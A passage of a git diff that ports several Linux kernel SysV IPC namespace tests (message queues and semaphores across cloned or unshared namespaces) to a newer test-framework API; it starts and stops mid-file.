pid; + + pid = SAFE_FORK(); + if (!pid) { + SAFE_UNSHARE(clone_flags); + + fn1(); + exit(0); + } +} + +static void plain_test(void (*fn1)()) +{ + int pid; + + pid = SAFE_FORK(); + if (!pid) { + fn1(); + exit(0); + } +} + +static void clone_unshare_test(int use_clone, unsigned long clone_flags, void (*fn1)()) +{ + switch (use_clone) { + case T_NONE: + plain_test(fn1); + break; + case T_CLONE: + clone_test(clone_flags, fn1); + break; + case T_UNSHARE: + unshare_test(clone_flags, fn1); + break; + default: + tst_brk(TBROK, "%s: bad use_clone option: %d", __FUNCTION__, use_clone); + break; + } +} + +#endif diff --git a/testcases/kernel/containers/sysvipc/mesgq_nstest.c b/testcases/kernel/containers/sysvipc/mesgq_nstest.c index dbf311dc..4b12c1ce 100755 --- a/testcases/kernel/containers/sysvipc/mesgq_nstest.c +++ b/testcases/kernel/containers/sysvipc/mesgq_nstest.c @@ -1,175 +1,116 @@ -/* ************************************************************************* -* Copyright (c) International Business Machines Corp., 2009 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -* Author: Veerendra C -* -* In Parent Process , create mesgq with key 154326L -* Now create container by passing 1 of the flag values.. -* Flag = clone, clone(CLONE_NEWIPC), or unshare(CLONE_NEWIPC) -* In cloned process, try to access the created mesgq -* Test PASS: If the mesgq is readable when flag is None. -* Test FAIL: If the mesgq is readable when flag is Unshare or Clone. -***************************************************************************/ - -#define _GNU_SOURCE 1 -#include -#include -#include -#include -#include +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2009 + * Veerendra C + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test SysV IPC message passing through different namespaces. + * + * [Algorithm] + * + * In parent process create a new mesgq with a specific key. + * In cloned process try to access the created mesgq. + * + * Test will PASS if the mesgq is readable when flag is None. + * Test will FAIL if the mesgq is readable when flag is Unshare or Clone or + * the message received is wrong. + */ + +#define _GNU_SOURCE + +#include #include -#include -#include "test.h" -#include "ipcns_helper.h" - -#define KEY_VAL 154326L -#define UNSHARESTR "unshare" -#define CLONESTR "clone" -#define NONESTR "none" - -char *TCID = "mesgq_nstest"; -int TST_TOTAL = 1; -int p1[2]; -int p2[2]; -struct msg_buf { - long int mtype; /* type of received/sent message */ - char mtext[80]; /* text of the message */ -} msg; +#include +#include "tst_safe_sysv_ipc.h" +#include "tst_test.h" +#include "common.h" -void mesgq_read(int id) -{ - int READMAX = 80; - int n; - /* read msg type 5 on the Q; msgtype, flags are last 2 params.. */ +#define KEY_VAL 154326L +#define MSG_TYPE 5 +#define MSG_TEXT "My message!" - n = msgrcv(id, &msg, READMAX, 5, 0); - if (n == -1) - perror("msgrcv"), tst_exit(); +static char *str_op; +static int use_clone; +static int ipc_id = -1; - tst_resm(TINFO, "Mesg read of %d bytes; Type %ld: Msg: %.*s", - n, msg.mtype, n, msg.mtext); -} +struct msg_buf { + long mtype; + char mtext[80]; +}; -int check_mesgq(void *vtest) +static void check_mesgq(void) { - char buf[3]; - int id; + int id, n; + struct msg_buf msg = {}; - (void) vtest; + id = msgget(KEY_VAL, 0); - close(p1[1]); - close(p2[0]); + if (id < 0) { + if (use_clone == T_NONE) + tst_res(TFAIL, "Plain cloned process didn't find mesgq"); + else + tst_res(TPASS, "%s: container didn't find mesgq", str_op); - read(p1[0], buf, 3); - id = msgget(KEY_VAL, 0); - if (id == -1) - write(p2[1], "notfnd", 7); - else { - write(p2[1], "exists", 7); - mesgq_read(id); + return; } - tst_exit(); -} -static void setup(void) -{ - tst_require_root(); - check_newipc(); -} + if (use_clone == T_NONE) { + tst_res(TPASS, "Plain cloned process found mesgq inside container"); -int main(int argc, char *argv[]) -{ - int ret, use_clone = T_NONE, id, n; - char *tsttype = NONESTR; - char buf[7]; + n = SAFE_MSGRCV(id, &msg, sizeof(msg.mtext), MSG_TYPE, 0); - setup(); + tst_res(TINFO, "Mesg read of %d bytes, Type %ld, Msg: %s", n, msg.mtype, msg.mtext); - if (argc != 2) { - tst_resm(TFAIL, "Usage: %s ", argv[0]); - tst_brkm(TFAIL, NULL, " where clone, unshare, or fork specifies" - " unshare method."); - } + if (strcmp(msg.mtext, MSG_TEXT)) + tst_res(TFAIL, "Received the wrong text message"); - /* Using PIPE's to sync between container and Parent */ - if (pipe(p1) == -1) { - perror("pipe"); - exit(EXIT_FAILURE); - } - if (pipe(p2) == -1) { - perror("pipe"); - exit(EXIT_FAILURE); + return; } - tsttype = NONESTR; - - if (strcmp(argv[1], "clone") == 0) { - use_clone = T_CLONE; - tsttype = CLONESTR; - } else if (strcmp(argv[1], "unshare") == 0) { - use_clone = T_UNSHARE; - tsttype = UNSHARESTR; - } + tst_res(TFAIL, "%s: container init process found mesgq", str_op); +} - id = msgget(KEY_VAL, IPC_CREAT | IPC_EXCL | 0600); - if (id == -1) { - perror("msgget"); - /* Retry without attempting to create the MQ */ - id = msgget(KEY_VAL, 0); - if (id == -1) - perror("msgget failure"), exit(1); - } +static void run(void) +{ + struct msg_buf msg = { + .mtype = MSG_TYPE, + .mtext = MSG_TEXT, + }; - msg.mtype = 5; - strcpy(msg.mtext, "Message of type 5!"); - n = msgsnd(id, &msg, strlen(msg.mtext), 0); - if (n == -1) - perror("msgsnd"), tst_exit(); - - tst_resm(TINFO, "mesgq namespaces test : %s", tsttype); - /* fire off the test */ - ret = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_mesgq, NULL); - if (ret < 0) { - tst_brkm(TFAIL, NULL, "%s failed", tsttype); - } + if (use_clone == T_NONE) + SAFE_MSGSND(ipc_id, &msg, strlen(msg.mtext), 0); - close(p1[0]); - close(p2[1]); - write(p1[1], "go", 3); + tst_res(TINFO, "mesgq namespaces test: %s", str_op); - read(p2[0], buf, 7); - if (strcmp(buf, "exists") == 0) { - if (use_clone == T_NONE) - tst_resm(TPASS, "Plain cloned process found mesgq " - "inside container"); - else - tst_resm(TFAIL, - "%s: Container init process found mesgq", - tsttype); - } else { - if (use_clone == T_NONE) - tst_resm(TFAIL, - "Plain cloned process didn't find mesgq"); - else - tst_resm(TPASS, "%s: Container didn't find mesgq", - tsttype); - } + clone_unshare_test(use_clone, CLONE_NEWIPC, check_mesgq); +} - /* Delete the mesgQ */ - id = msgget(KEY_VAL, 0); - msgctl(id, IPC_RMID, NULL); +static void setup(void) +{ + use_clone = get_clone_unshare_enum(str_op); + ipc_id = SAFE_MSGGET(KEY_VAL, IPC_CREAT | IPC_EXCL | 0600); +} - tst_exit(); +static void cleanup(void) +{ + if (ipc_id != -1) { + tst_res(TINFO, "Destroying message queue"); + SAFE_MSGCTL(ipc_id, IPC_RMID, NULL); + } } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .options = (struct tst_option[]) { + { "m:", &str_op, "Test execution mode " }, + {}, + }, +}; diff --git a/testcases/kernel/containers/sysvipc/msg_comm.c b/testcases/kernel/containers/sysvipc/msg_comm.c index 0da32899..3762adb0 100755 --- a/testcases/kernel/containers/sysvipc/msg_comm.c +++ b/testcases/kernel/containers/sysvipc/msg_comm.c @@ -1,20 +1,16 @@ -/* Copyright (c) 2014 Red Hat, Inc. - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of version 2 the GNU General Public License as - * published by the Free Software Foundation. +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2014 Red Hat, Inc. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. + * Test SysV IPC message passing through different processes. * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - *********************************************************************** - * File: msg_comm.c + * [Algorithm] * - * Description: * 1. Clones two child processes with CLONE_NEWIPC flag, each child * gets System V message queue (msg) with the _identical_ key. * 2. Child1 appends a message with identifier #1 to the message queue. @@ -27,152 +23,77 @@ */ #define _GNU_SOURCE -#include + +#include #include #include -#include -#include -#include -#include "ipcns_helper.h" -#include "test.h" -#include "safe_macros.h" +#include "tst_safe_sysv_ipc.h" +#include "tst_test.h" +#include "common.h" #define TESTKEY 124426L -#define MSGSIZE 50 -char *TCID = "msg_comm"; -int TST_TOTAL = 1; struct sysv_msg { long mtype; - char mtext[MSGSIZE]; + char mtext[1]; }; -static void cleanup(void) -{ - tst_rmdir(); -} - -static void setup(void) +static void chld1_msg(void) { - tst_require_root(); - check_newipc(); - tst_tmpdir(); - TST_CHECKPOINT_INIT(tst_rmdir); -} - -int chld1_msg(void *arg) -{ - int id, n, rval = 0; - struct sysv_msg m; + int id; + struct sysv_msg m = { + .mtype = 1, + .mtext = "A", + }; struct sysv_msg rec; - id = msgget(TESTKEY, IPC_CREAT | 0600); - if (id == -1) { - perror("msgget"); - return 2; - } + id = SAFE_MSGGET(TESTKEY, IPC_CREAT | 0600); + + SAFE_MSGSND(id, &m, sizeof(m.mtext), 0); - m.mtype = 1; - m.mtext[0] = 'A'; - if (msgsnd(id, &m, sizeof(struct sysv_msg) - sizeof(long), 0) == -1) { - perror("msgsnd"); - msgctl(id, IPC_RMID, NULL); - return 2; - } + TST_CHECKPOINT_WAIT(0); - /* wait for child2 to write into the message queue */ - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); + TEST(msgrcv(id, &rec, sizeof(rec.mtext), 2, IPC_NOWAIT)); + if (TST_RET < 0 && TST_ERR != ENOMSG) + tst_brk(TBROK | TERRNO, "msgrcv error"); /* if child1 message queue has changed (by child2) report fail */ - n = msgrcv(id, &rec, sizeof(struct sysv_msg) - sizeof(long), - 2, IPC_NOWAIT); - if (n == -1 && errno != ENOMSG) { - perror("msgrcv"); - msgctl(id, IPC_RMID, NULL); - return 2; - } - /* if mtype #2 was found in the message queue, it is fail */ - if (n > 0) { - rval = 1; - } - - /* tell child2 to continue */ - TST_SAFE_CHECKPOINT_WAKE(NULL, 0); - - msgctl(id, IPC_RMID, NULL); - return rval; -} + if (TST_RET > 0) + tst_res(TFAIL, "messages leak between namespacess"); + else + tst_res(TPASS, "messages does not leak between namespaces"); -int chld2_msg(void *arg) -{ - int id; - struct sysv_msg m; - - id = msgget(TESTKEY, IPC_CREAT | 0600); - if (id == -1) { - perror("msgget"); - return 2; - } - - m.mtype = 2; - m.mtext[0] = 'B'; - if (msgsnd(id, &m, sizeof(struct sysv_msg) - sizeof(long), 0) == -1) { - perror("msgsnd"); - msgctl(id, IPC_RMID, NULL); - return 2; - } - - /* tell child1 to continue and wait for it */ - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); - - msgctl(id, IPC_RMID, NULL); - return 0; -} + TST_CHECKPOINT_WAKE(0); -static void test(void) -{ - int status, ret = 0; - - ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_msg, NULL); - if (ret == -1) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); - - ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_msg, NULL); - if (ret == -1) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); - - - while (wait(&status) > 0) { - if (WIFEXITED(status) && WEXITSTATUS(status) == 1) - ret = 1; - if (WIFEXITED(status) && WEXITSTATUS(status) == 2) - tst_brkm(TBROK | TERRNO, cleanup, "error in child"); - if (WIFSIGNALED(status)) { - tst_resm(TFAIL, "child was killed with signal %s", - tst_strsig(WTERMSIG(status))); - return; - } - } - - if (ret) - tst_resm(TFAIL, "SysV msg: communication with identical keys" - " between namespaces"); - else - tst_resm(TPASS, "SysV msg: communication with identical keys" - " between namespaces"); + SAFE_MSGCTL(id, IPC_RMID, NULL); } -int main(int argc, char *argv[]) +static void chld2_msg(void) { - int lc; + int id; + struct sysv_msg m = { + .mtype = 2, + .mtext = "B", + }; + + id = SAFE_MSGGET(TESTKEY, IPC_CREAT | 0600); - tst_parse_opts(argc, argv, NULL, NULL); + SAFE_MSGSND(id, &m, sizeof(m.mtext), 0); - setup(); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - for (lc = 0; TEST_LOOPING(lc); lc++) - test(); + SAFE_MSGCTL(id, IPC_RMID, NULL); +} - cleanup(); - tst_exit(); +static void run(void) +{ + clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_msg); + clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_msg); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .needs_checkpoints = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/containers/sysvipc/sem_comm.c b/testcases/kernel/containers/sysvipc/sem_comm.c index a2c354a0..d8f0956a 100755 --- a/testcases/kernel/containers/sysvipc/sem_comm.c +++ b/testcases/kernel/containers/sysvipc/sem_comm.c @@ -1,20 +1,16 @@ -/* Copyright (c) 2014 Red Hat, Inc. - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of version 2 the GNU General Public License as - * published by the Free Software Foundation. +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2014 Red Hat, Inc. + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. + * Test SysV IPC semaphore usage between cloned processes. * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - *********************************************************************** - * File: sem_comm.c + * [Algorithm] * - * Description: * 1. Clones two child processes with CLONE_NEWIPC flag, each child * creates System V semaphore (sem) with the _identical_ key. * 2. Child1 locks the semaphore. @@ -26,166 +22,86 @@ */ #define _GNU_SOURCE -#include -#include + #include -#include -#include -#include "ipcns_helper.h" -#include "test.h" -#include "safe_macros.h" +#include +#include +#include "tst_safe_sysv_ipc.h" +#include "tst_test.h" #include "lapi/sem.h" +#include "common.h" #define TESTKEY 124426L -char *TCID = "sem_comm"; -int TST_TOTAL = 1; -static void cleanup(void) -{ - tst_rmdir(); -} - -static void setup(void) -{ - tst_require_root(); - check_newipc(); - tst_tmpdir(); - TST_CHECKPOINT_INIT(tst_rmdir); -} - -int chld1_sem(void *arg) +static void chld1_sem(void) { int id; - union semun su; - struct sembuf sm; + struct sembuf sm = { + .sem_num = 0, + .sem_op = -1, + .sem_flg = IPC_NOWAIT, + }; + union semun su = { + .val = 1, + }; - id = semget(TESTKEY, 1, IPC_CREAT); - if (id == -1) { - perror("semget"); - return 2; - } - - su.val = 1; - if (semctl(id, 0, SETVAL, su) == -1) { - perror("semctl"); - semctl(id, 0, IPC_RMID); - return 2; - } + id = SAFE_SEMGET(TESTKEY, 1, IPC_CREAT); - /* tell child2 to continue and wait for it to create the semaphore */ - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + SAFE_SEMCTL(id, 0, SETVAL, su); - sm.sem_num = 0; - sm.sem_op = -1; - sm.sem_flg = IPC_NOWAIT; - if (semop(id, &sm, 1) == -1) { - perror("semop"); - semctl(id, 0, IPC_RMID); - return 2; - } + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* tell child2 to continue and wait for it to lock the semaphore */ - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + SAFE_SEMOP(id, &sm, 1); - sm.sem_op = 1; - semop(id, &sm, 1); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - semctl(id, 0, IPC_RMID); - return 0; + SAFE_SEMCTL(id, 0, IPC_RMID); } -int chld2_sem(void *arg) +static void chld2_sem(void) { - int id, rval = 0; - struct sembuf sm; - union semun su; - - /* wait for child1 to create the semaphore */ - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); - - id = semget(TESTKEY, 1, IPC_CREAT); - if (id == -1) { - perror("semget"); - return 2; - } + int id; + struct sembuf sm = { + .sem_num = 0, + .sem_op = -1, + .sem_flg = IPC_NOWAIT, + }; + union semun su = { + .val = 1, + }; - su.val = 1; - if (semctl(id, 0, SETVAL, su) == -1) { - perror("semctl"); - semctl(id, 0, IPC_RMID); - return 2; - } + TST_CHECKPOINT_WAIT(0); - /* tell child1 to continue and wait for it to lock the semaphore */ - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); - - sm.sem_num = 0; - sm.sem_op = -1; - sm.sem_flg = IPC_NOWAIT; - if (semop(id, &sm, 1) == -1) { - if (errno == EAGAIN) { - rval = 1; - } else { - perror("semop"); - semctl(id, 0, IPC_RMID); - return 2; - } - } + id = SAFE_SEMGET(TESTKEY, 1, IPC_CREAT); - /* tell child1 to continue */ - TST_SAFE_CHECKPOINT_WAKE(NULL, 0); + SAFE_SEMCTL(id, 0, SETVAL, su); - sm.sem_op = 1; - semop(id, &sm, 1); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - semctl(id, 0, IPC_RMID); - return rval; -} + TEST(semop(id, &sm, 1)); + if (TST_RET < 0) { + if (TST_ERR != EAGAIN) + tst_brk(TBROK | TERRNO, "semop error"); -static void test(void) -{ - int status, ret = 0; - - ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_sem, NULL); - if (ret == -1) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); - - ret = do_clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_sem, NULL); - if (ret == -1) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); - - - while (wait(&status) > 0) { - if (WIFEXITED(status) && WEXITSTATUS(status) == 1) - ret = 1; - if (WIFEXITED(status) && WEXITSTATUS(status) == 2) - tst_brkm(TBROK | TERRNO, cleanup, "error in child"); - if (WIFSIGNALED(status)) { - tst_resm(TFAIL, "child was killed with signal %s", - tst_strsig(WTERMSIG(status))); - return; - } + tst_res(TFAIL, "semaphore decremented from different namespace"); + } else { + tst_res(TPASS, "semaphore has not been decremented"); } - if (ret) - tst_resm(TFAIL, "SysV sem: communication with identical keys" - " between namespaces"); - else - tst_resm(TPASS, "SysV sem: communication with identical keys" - " between namespaces"); + TST_CHECKPOINT_WAKE(0); + + SAFE_SEMCTL(id, 0, IPC_RMID); } -int main(int argc, char *argv[]) +static void run(void) { - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) - test(); - - cleanup(); - tst_exit(); + clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld1_sem); + clone_unshare_test(T_CLONE, CLONE_NEWIPC, chld2_sem); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .needs_checkpoints = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/containers/sysvipc/sem_nstest.c b/testcases/kernel/containers/sysvipc/sem_nstest.c index 72e04fe4..35d55cba 100755 --- a/testcases/kernel/containers/sysvipc/sem_nstest.c +++ b/testcases/kernel/containers/sysvipc/sem_nstest.c @@ -1,158 +1,90 @@ -/* ************************************************************************* -* Copyright (c) International Business Machines Corp., 2009 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -* Author: Veerendra C -* -* In Parent Process , create semaphore with key 154326L -* Now create container by passing 1 of the below flag values.. -* clone(NONE), clone(CLONE_NEWIPC), or unshare(CLONE_NEWIPC) -* In cloned process, try to access the created semaphore -* Test PASS: If the semaphore is readable when flag is None. -* Test FAIL: If the semaphore is readable when flag is Unshare or Clone. -***************************************************************************/ - -#define _GNU_SOURCE 1 -#include -#include -#include -#include -#include +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2009 + * Veerendra C + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test SysV IPC semaphore usage between namespaces. + * + * [Algorithm] + * + * In parent process create a new semaphore with a specific key. + * In cloned process, try to access the created semaphore + * + * Test PASS if the semaphore is readable when flag is None. + * Test FAIL if the semaphore is readable when flag is Unshare or Clone. + */ + +#define _GNU_SOURCE + +#include +#include +#include #include -#include -#include "test.h" -#include "ipcns_helper.h" +#include "tst_safe_sysv_ipc.h" +#include "tst_test.h" +#include "common.h" -#define MY_KEY 154326L -#define UNSHARESTR "unshare" -#define CLONESTR "clone" -#define NONESTR "none" +#define MY_KEY 154326L -char *TCID = "sem_nstest"; -int TST_TOTAL = 1; -int p1[2]; -int p2[2]; +static char *str_op; +static int use_clone; +static int ipc_id = -1; -int check_semaphore(void *vtest) +static void check_semaphore(void) { - char buf[3]; int id; - (void) vtest; + id = semget(MY_KEY, 1, 0); - close(p1[1]); - close(p2[0]); + if (id < 0) { + if (use_clone == T_NONE) + tst_res(TFAIL, "Plain cloned process didn't find semaphore"); + else + tst_res(TPASS, "%s: container didn't find semaphore", str_op); - read(p1[0], buf, 3); - id = semget(MY_KEY, 1, 0); - if (id == -1) - write(p2[1], "notfnd", 7); - else { - write(p2[1], "exists", 7); - tst_resm(TINFO, "PID %d: Fetched existing semaphore..id = %d", - getpid(), id); + return; } - tst_exit(); + + tst_res(TINFO, "PID %d: fetched existing semaphore..id = %d", getpid(), id); + + if (use_clone == T_NONE) + tst_res(TPASS, "Plain cloned process found semaphore inside container"); + else + tst_res(TFAIL, "%s: Container init process found semaphore", str_op); } -static void setup(void) +static void run(void) { - tst_require_root(); - check_newipc(); + clone_unshare_test(use_clone, CLONE_NEWIPC, check_semaphore); } -int main(int argc, char *argv[]) +static void setup(void) { - int ret, use_clone = T_NONE, id; - char *tsttype = NONESTR; - char buf[7]; - - setup(); - - if (argc != 2) { - tst_resm(TFAIL, "Usage: %s ", argv[0]); - tst_brkm(TFAIL, NULL, " where clone, unshare, or fork specifies" - " unshare method."); - } - - /* Using PIPE's to sync between container and Parent */ - if (pipe(p1) == -1) { - perror("pipe"); - exit(EXIT_FAILURE); - } - if (pipe(p2) == -1) { - perror("pipe"); - exit(EXIT_FAILURE); - } - - if (strcmp(argv[1], "clone") == 0) { - use_clone = T_CLONE; - tsttype = CLONESTR; - } else if (strcmp(argv[1], "unshare") == 0) { - use_clone = T_UNSHARE; - tsttype = UNSHARESTR; - } - - /* 1. Create (or fetch if existing) the binary semaphore */ - id = semget(MY_KEY, 1, IPC_CREAT | IPC_EXCL | 0666); - if (id == -1) { - perror("Semaphore create"); - if (errno != EEXIST) { - perror("semget failure"); - tst_brkm(TBROK, NULL, "Semaphore creation failed"); - } - id = semget(MY_KEY, 1, 0); - if (id == -1) { - perror("Semaphore create"); - tst_brkm(TBROK, NULL, "Semaphore operation failed"); - } - } - - tst_resm(TINFO, "Semaphore namespaces Isolation test : %s", tsttype); - /* fire off the test */ - ret = - do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_semaphore, - NULL); - if (ret < 0) { - tst_brkm(TFAIL, NULL, "%s failed", tsttype); - } - - close(p1[0]); - close(p2[1]); - write(p1[1], "go", 3); - read(p2[0], buf, 7); + use_clone = get_clone_unshare_enum(str_op); + ipc_id = SAFE_SEMGET(MY_KEY, 1, IPC_CREAT | IPC_EXCL | 0666); +} - if (strcmp(buf, "exists") == 0) { - if (use_clone == T_NONE) - tst_resm(TPASS, "Plain cloned process found semaphore " - "inside container"); - else - tst_resm(TFAIL, - "%s: Container init process found semaphore", - tsttype); - } else { - if (use_clone == T_NONE) - tst_resm(TFAIL, - "Plain cloned process didn't find semaphore"); - else - tst_resm(TPASS, "%s: Container didn't find semaphore", - tsttype); +static void cleanup(void) +{ + if (ipc_id != -1) { + tst_res(TINFO, "Destroying semaphore"); + SAFE_SEMCTL(ipc_id, IPC_RMID, 0); } - - /* Delete the semaphore */ - id = semget(MY_KEY, 1, 0); - semctl(id, IPC_RMID, 0); - - tst_exit(); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .options = (struct tst_option[]) { + { "m:", &str_op, "Test execution mode " }, + {}, + }, +}; diff --git a/testcases/kernel/containers/sysvipc/semtest_2ns.c b/testcases/kernel/containers/sysvipc/semtest_2ns.c index c3483b67..f03b18f7 100755 --- a/testcases/kernel/containers/sysvipc/semtest_2ns.c +++ b/testcases/kernel/containers/sysvipc/semtest_2ns.c @@ -1,230 +1,148 @@ -/* ************************************************************************* -* Copyright (c) International Business Machines Corp., 2009 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -* Author: Veerendra C -* -* Test Assertion: -* This testcase verifies the semaphore isoloation in 2 diff containers. -* It tries to create/access a semaphore created with the same KEY. -* -* Description: -* Create 2 'containers' with the below flag value -* Flag = clone, clone(CLONE_NEWIPC), or unshare(CLONE_NEWIPC) -* In Cont1, create semaphore with key 124326L -* In Cont2, try to access the semaphore created in Cont1. -* PASS : -* If flag = None and the semaphore is accessible in Cont2. -* If flag = unshare/clone and the semaphore is not accessible in Cont2. -* If semaphore is not accessible in Cont2, creates new semaphore with -* the same key to double check isloation in IPCNS. -* -* FAIL : -* If flag = none and the semaphore is not accessible. -* If flag = unshare/clone and semaphore is accessible in Cont2. -* If the new semaphore creation Fails. -***************************************************************************/ - -#define _GNU_SOURCE 1 -#include -#include -#include -#include -#include -#include -#include -#include "test.h" -#include "ipcns_helper.h" - -#define MY_KEY 124326L -#define UNSHARESTR "unshare" -#define CLONESTR "clone" -#define NONESTR "none" - -char *TCID = "semtest_2ns"; -int TST_TOTAL = 1; -int p1[2]; -int p2[2]; -static struct sembuf semop_lock[2] = { - /* sem_num, sem_op, flag */ - {0, 0, 0}, /* wait for sem#0 to become 0 */ - {0, 1, SEM_UNDO} /* then increment sem#0 by 1 */ -}; - -static struct sembuf semop_unlock[1] = { - /* sem_num, sem_op, flag */ - {0, -1, (IPC_NOWAIT | SEM_UNDO)} /* decrement sem#0 by 1 (sets it to 0) */ -}; - +// SPDX-License-Identifier: GPL-2.0-or-later /* - * sem_lock() - Locks the semaphore for crit-sec updation, and unlocks it later + * Copyright (c) International Business Machines Corp., 2009 + * Veerendra C + * Copyright (C) 2022 SUSE LLC Andrea Cervesato */ -void sem_lock(int id) -{ - /* Checking the semlock and simulating as if the crit-sec is updated */ - if (semop(id, &semop_lock[0], 2) < 0) { - perror("sem lock error"); - tst_brkm(TBROK, NULL, "semop failed"); - } - tst_resm(TINFO, "Sem1: File locked, Critical section is updated..."); - sleep(2); - if (semop(id, &semop_unlock[0], 1) < 0) { - perror("sem unlock error"); - tst_brkm(TBROK, NULL, "semop failed"); - } -} -/* - * check_sem1 - does not read -- it writes to check_sem2() when it's done. +/*\ + * [Description] + * + * Test SysV IPC semaphore usage between namespaces and processes. + * + * [Algorithm] + * + * Create 2 'containers' + * In container1 create semaphore with a specific key and lock it + * In container2 try to access the semaphore created in container1 and try to + * unlock it. + * + * If mode = None, test will PASS when semaphore created process1 can be read + * and unlocked from process2. + * If mode = Clone, test will PASS when semaphore created in container1 can't + * be accessed from container2. + * If mode = Unshare, test will PASS when semaphore created in container2 can't + * be accessed from container2. */ -int check_sem1(void *vtest) -{ - int id1; - - (void) vtest; - - close(p1[0]); - /* 1. Create (or fetch if existing) the binary semaphore */ - id1 = semget(MY_KEY, 1, IPC_CREAT | IPC_EXCL | 0666); - if (id1 == -1) { - perror("Semaphore create"); - if (errno != EEXIST) { - perror("semget failure"); - tst_brkm(TBROK, NULL, "semget failure"); - } - id1 = semget(MY_KEY, 1, 0); - if (id1 == -1) { - perror("Semaphore create"); - tst_brkm(TBROK, NULL, "semget failure"); - } - } - write(p1[1], "go", 3); - tst_resm(TINFO, "Cont1: Able to create semaphore"); - tst_exit(); -} +#define _GNU_SOURCE -/* - * check_sem2() reads from check_sem1() and writes to main() when it's done. - */ +#include +#include +#include +#include +#include "tst_safe_sysv_ipc.h" +#include "tst_test.h" +#include "common.h" + +#define MY_KEY 124326L + +static char *str_op; +static int use_clone; -int check_sem2(void *vtest) +static void check_sem1(void) { - char buf[3]; - int id2; + int id; + struct sembuf sm = { + .sem_num = 0, + .sem_op = 1, + .sem_flg = SEM_UNDO, + }; - (void) vtest; + id = SAFE_SEMGET(MY_KEY, 1, IPC_CREAT | IPC_EXCL | 0666); - close(p1[1]); - close(p2[0]); - read(p1[0], buf, 3); + tst_res(TINFO, "%s: created key in child1", str_op); - id2 = semget(MY_KEY, 1, 0); - if (id2 != -1) { - sem_lock(id2); - write(p2[1], "exists", 7); - } else { - /* Trying to create a new semaphore, if semaphore is not existing */ - id2 = semget(MY_KEY, 1, IPC_CREAT | IPC_EXCL | 0666); - if 